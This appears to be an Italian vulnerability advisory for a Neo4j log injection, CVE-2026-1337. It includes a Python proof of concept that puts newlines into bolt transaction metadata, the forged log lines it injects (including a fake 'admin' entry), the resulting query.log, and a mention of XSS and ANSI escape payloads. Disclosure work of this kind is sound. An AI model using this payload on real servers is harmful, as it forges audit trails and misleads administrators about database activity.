
CVE-2026-1337 - Neo4j - Log Injection
L'iniezione nei log da parte di un utente autenticato è possibile nel query.log di Neo4j quando Neo4j non è configurato per essere in formato json.
Neo4j non effettua l'escape dei caratteri di controllo nel campo metadata di una transazione bolt. Un utente autenticato potrebbe inviare caratteri di controllo per iniettare false voci di log tramite l'inserimento di nuove righe, \n.
Nel codice POC allegato, queste query vengono aggiunte al query.log in modo che entrambe sembrino legittime, ma solo la prima lo è. A causa dell'iniezione, nei log sono presenti anche altri artefatti malformattati.
MATCH (n:RealQuery) RETURN n LIMIT 1
MATCH (n:FakeQuery1) RETURN n LIMIT 1
^ la seconda è iniettata, non viene mai eseguita
In sostanza, questo:
with driver.session() as session:
tx = session.begin_transaction(metadata={"x": payload})
tx.run("RETURN 1")
tx.commit()
dove payload è qualcosa del genere
'\n
2025-12-05 13:08:34.148+0000 INFO Query started: id:700 - transaction id:100 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/10.0.0.1:1337 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO Query started: id:701 - transaction id:101 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/192.168.1.50:4444 server/127.0.0.1:7687> neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO id:700 - transaction id:100 - 1 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/10.0.0.1:1337 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=pipelined - {}
2025-12-05 13:08:34.148+0000 INFO id:701 - transaction id:101 - 2 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/192.168.1.50:4444 server/127.0.0.1:7687> neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=pipelined - {}
produce questo query.log:
2025-12-05 13:08:34.585+0000 INFO Query started: id:1 - transaction id:1 - 255 ms: (planning: 255, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/127.0.0.1:50422 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:RealQuery) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:35.308+0000 INFO id:1 - transaction id:1 - 980 ms: (planning: 915, waiting: 0) - 312 B - 2 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/127.0.0.1:50422 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:RealQuery) RETURN n LIMIT 1 - {} - runtime=pipelined - {}
2025-12-05 13:08:35.333+0000 INFO Query started: id:2 - transaction id:2 - 10 ms: (planning: 10, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/127.0.0.1:50422 server/127.0.0.1:7687> neo4j - neo4j - RETURN 1 - {} - runtime=null - {x: ''
2025-12-05 13:08:34.148+0000 INFO Query started: id:700 - transaction id:100 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/10.0.0.1:1337 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO Query started: id:701 - transaction id:101 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/192.168.1.50:4444 server/127.0.0.1:7687> neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO id:700 - transaction id:100 - 1 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/10.0.0.1:1337 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=pipelined - {}
2025-12-05 13:08:34.148+0000 INFO id:701 - transaction id:101 - 2 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/192.168.1.50:4444 server/127.0.0.1:7687> neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=pipelined - {}'}
2025-12-05 13:08:35.370+0000 INFO id:2 - transaction id:2 - 47 ms: (planning: 44, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/127.0.0.1:50422 server/127.0.0.1:7687> neo4j - neo4j - RETURN 1 - {} - runtime=pipelined - {x: ''
2025-12-05 13:08:34.148+0000 INFO Query started: id:700 - transaction id:100 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/10.0.0.1:1337 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO Query started: id:701 - transaction id:101 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/192.168.1.50:4444 server/127.0.0.1:7687> neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO id:700 - transaction id:100 - 1 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/10.0.0.1:1337 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=pipelined - {}
2025-12-05 13:08:34.148+0000 INFO id:701 - transaction id:101 - 2 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/192.168.1.50:4444 server/127.0.0.1:7687> neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=pipelined - {}'}
python log_injection_poc.py --uri bolt://127.0.0.1:7687 --password secret123
Questo inietterà voci di log false nel query.log.
La mancanza di escaping potrebbe anche essere abusata per iniettare, ad esempio, payload XSS (un rischio per le applicazioni web di analisi dei log) o caratteri di escape ANSI (un rischio per l'interazione con i log tramite terminale).